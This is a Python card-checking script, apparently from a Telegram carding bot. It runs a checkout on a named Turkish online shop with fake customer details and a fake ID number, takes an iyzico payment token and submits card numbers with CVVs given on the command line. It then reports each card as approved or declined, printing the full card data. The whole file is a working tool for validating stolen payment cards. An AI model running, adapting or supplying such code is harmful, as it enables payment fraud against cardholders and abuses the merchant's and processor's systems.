import requests
import re
import sys
import time

timestamp_start = time.time()

# Kart bilgilerini al - Format: ?kart=5269110188858080|04|29|001
if len(sys.argv) < 2:
    print("Kullanım: python iyzico3.py KARTNO|AY|YIL|CVV")
    sys.exit(1)

kart_data = sys.argv[1]
kart_bilgileri = kart_data.split('|')

if len(kart_bilgileri) != 4:
    print("Hatalı format. Format: KARTNO|AY|YIL|CVV")
    sys.exit(1)

card_number = kart_bilgileri[0]
expire_month = kart_bilgileri[1]
expire_year = kart_bilgileri[2]
cvc = kart_bilgileri[3]

# Session oluştur
session = requests.Session()

# Step 1: GET ürün sayfası
url_product = "https://www.sadahamiri.com/urun/baroque-pembe-barok-desen-twill-esarp"

headers_get = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
    "Accept-Language": "tr-TR,tr;q=0.9",
    "Accept-Encoding": "gzip, deflate, br",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "none",
    "Sec-Fetch-User": "?1"
}

response1 = session.get(url_product, headers=headers_get)

# Step 2: POST sepete ekleme

url_add_cart = "https://www.sadahamiri.com/cart/add_item"

# PHPSESSID, anticsrf, cart_session_id, _cfuvid cookie'lerini al
phpsessid = session.cookies.get('PHPSESSID', '')
anticsrf = session.cookies.get('anticsrf', '')
cart_session_id = session.cookies.get('cart_session_id', '')
_cfuvid = session.cookies.get('_cfuvid', '')

headers_add_cart = {
    "accept": "*/*",
    "accept-encoding": "gzip, deflate, br, zstd",
    "accept-language": "tr-TR,tr;q=0.5",
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
    "origin": "https://www.sadahamiri.com",
    "priority": "u=1, i",
    "referer": "https://www.sadahamiri.com/urun/baroque-pembe-barok-desen-twill-esarp",
    "sec-ch-ua": '"Chromium";v="142", "Brave";v="142", "Not_A Brand";v="99"',
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": '"Windows"',
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "same-origin",
    "sec-gpc": "1",
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
    "x-requested-with": "XMLHttpRequest"
}

data_add_cart = {
    "anticsrf": anticsrf,
    "productId": "7",
    "quantity": "1"
}

response2 = session.post(url_add_cart, headers=headers_add_cart, data=data_add_cart)

# Step 3: POST order/step3 (multipart form)

url_order_step3 = "https://www.sadahamiri.com/order/step3"

# Güncel anticsrf cookie'sini al (sepete ekledikten sonra güncellenmiş olabilir)
anticsrf = session.cookies.get('anticsrf', anticsrf)

headers_step3 = {
    "cache-control": "max-age=0",
    "sec-ch-ua": '"Not_A Brand";v="99", "Chromium";v="142"',
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": '"Windows"',
    "accept-language": "tr-TR,tr;q=0.9",
    "origin": "https://www.sadahamiri.com",
    "upgrade-insecure-requests": "1",
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
    "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "sec-fetch-site": "same-origin",
    "sec-fetch-mode": "navigate",
    "sec-fetch-user": "?1",
    "sec-fetch-dest": "document",
    "referer": "https://www.sadahamiri.com/order/step2",
    "priority": "u=0, i"
}

# Multipart form data
multipart_data = {
    "email": "asd1289as98da879sd@asdas.com",
    "firstname": "asdasd",
    "surname": "asdasd",
    "country": "1",
    "location": "16",
    "subLocation": "923",
    "phoneNumber": "",
    "mobilePhoneNumber": "+90 (532) 181 29 11",
    "shippingIdentityRegistrationNumber": "11111111110",
    "address": "asd12 8w89 89as98a98d9832 e89asd98a sdada sas adsasasd",
    "invoiceType": "individual",
    "commercialName": "",
    "taxNumber": "",
    "taxOffice": "",
    "billingFirstname": "",
    "billingSurname": "",
    "billingCountry": "1",
    "billingLocation": "",
    "billingSubLocation": "",
    "billingPhoneNumber": "",
    "billingMobilePhoneNumber": "",
    "billingAddress": "",
    "shippingCompanyId": "12",
    "giftNote": "",
    "anticsrf": anticsrf
}

response3 = session.post(url_order_step3, headers=headers_step3, data=multipart_data)

# Step 3'ten sonra anticsrf güncellenmiş olabilir
anticsrf = session.cookies.get('anticsrf', anticsrf)

# Step 4: POST order/iyzico/prepare-form (Iyzico token alma)

url_prepare_form = "https://www.sadahamiri.com/order/iyzico/prepare-form"

headers_prepare = {
    "sec-ch-ua-platform": '"Windows"',
    "accept-language": "tr-TR,tr;q=0.9",
    "sec-ch-ua": '"Not_A Brand";v="99", "Chromium";v="142"',
    "sec-ch-ua-mobile": "?0",
    "x-requested-with": "XMLHttpRequest",
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
    "accept": "*/*",
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
    "origin": "https://www.sadahamiri.com",
    "sec-fetch-site": "same-origin",
    "sec-fetch-mode": "cors",
    "sec-fetch-dest": "empty",
    "referer": "https://www.sadahamiri.com/order/step3",
    "priority": "u=1, i"
}

data_prepare = {
    "anticsrf": anticsrf,
    "paymentAgreementOk": "0",
    "personalDataAgreementOk": "0"
}

response4 = session.post(url_prepare_form, headers=headers_prepare, data=data_prepare)

# Token'ı parse et
token_match = re.search(r'token:"([a-f0-9\-]+)"', response4.text)
if token_match:
    iyzico_token = token_match.group(1)
else:
    print('{"error": "Token alinamadi"}')
    sys.exit(1)

# Step 5: POST to api.iyzipay.com (Payment request)

url_payment = "https://api.iyzipay.com/payment/iyzipos/checkoutform/auth/ecom"

headers_payment = {
    "x-iyzi-token": iyzico_token,
    "sec-ch-ua-platform": '"Windows"',
    "accept-language": "tr-TR,tr;q=0.9",
    "sec-ch-ua": '"Not_A Brand";v="99", "Chromium";v="142"',
    "sec-ch-ua-mobile": "?0",
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
    "accept": "application/json",
    "content-type": "application/json",
    "origin": "https://www.sadahamiri.com",
    "sec-fetch-site": "cross-site",
    "sec-fetch-mode": "cors",
    "sec-fetch-dest": "empty",
    "referer": "https://www.sadahamiri.com/",
    "priority": "u=1, i"
}

payment_payload = {
    "installment": 1,
    "paidPrice": 800,
    "paymentChannel": "WEB",
    "paymentCard": {
        "cardNumber": card_number,
        "cardHolderName": "asds dasdasd",
        "expireYear": expire_year,
        "expireMonth": expire_month,
        "cvc": cvc,
        "registerConsumerCard": False,
        "registerCard": 0
    },
    "browserFingerprint": {
        "language": "tr",
        "timezone": -180,
        "hasSessionStorage": True,
        "hasLocalStorage": True,
        "hasIndexedDb": True,
        "hasOpenDb": True,
        "platform": "false",
        "hasLiedLanguage": False,
        "hasLiedResolution": False,
        "hasLiedOS": False,
        "hasLiedBrowser": False,
        "maxTouchPoints": 0,
        "touchEventSuccess": False,
        "hasTouchStart": False,
        "fingerprintHash": ""
    }
}

response5 = session.post(url_payment, headers=headers_payment, json=payment_payload)

# JSON parse ve format
try:
    payment_json = response5.json()
    
    elapsed = round(time.time() - timestamp_start, 1)
    
    if payment_json.get('status') == 'success':
        print(f"✅ Approved | {card_number}|{expire_month}|{expire_year}|{cvc} ({elapsed}s) 𝐈𝐘𝐙𝐈𝐂𝐎𝟑 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot")
    else:
        error_message = payment_json.get('errorMessage', 'Declined')
        print(f"❌ {error_message} | {card_number}|{expire_month}|{expire_year}|{cvc} ({elapsed}s) 𝐈𝐘𝐙𝐈𝐂𝐎𝟑 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot")

except Exception as e:
    elapsed = round(time.time() - timestamp_start, 1)
    print(f"❌ Error: {str(e)} ({elapsed}s)")
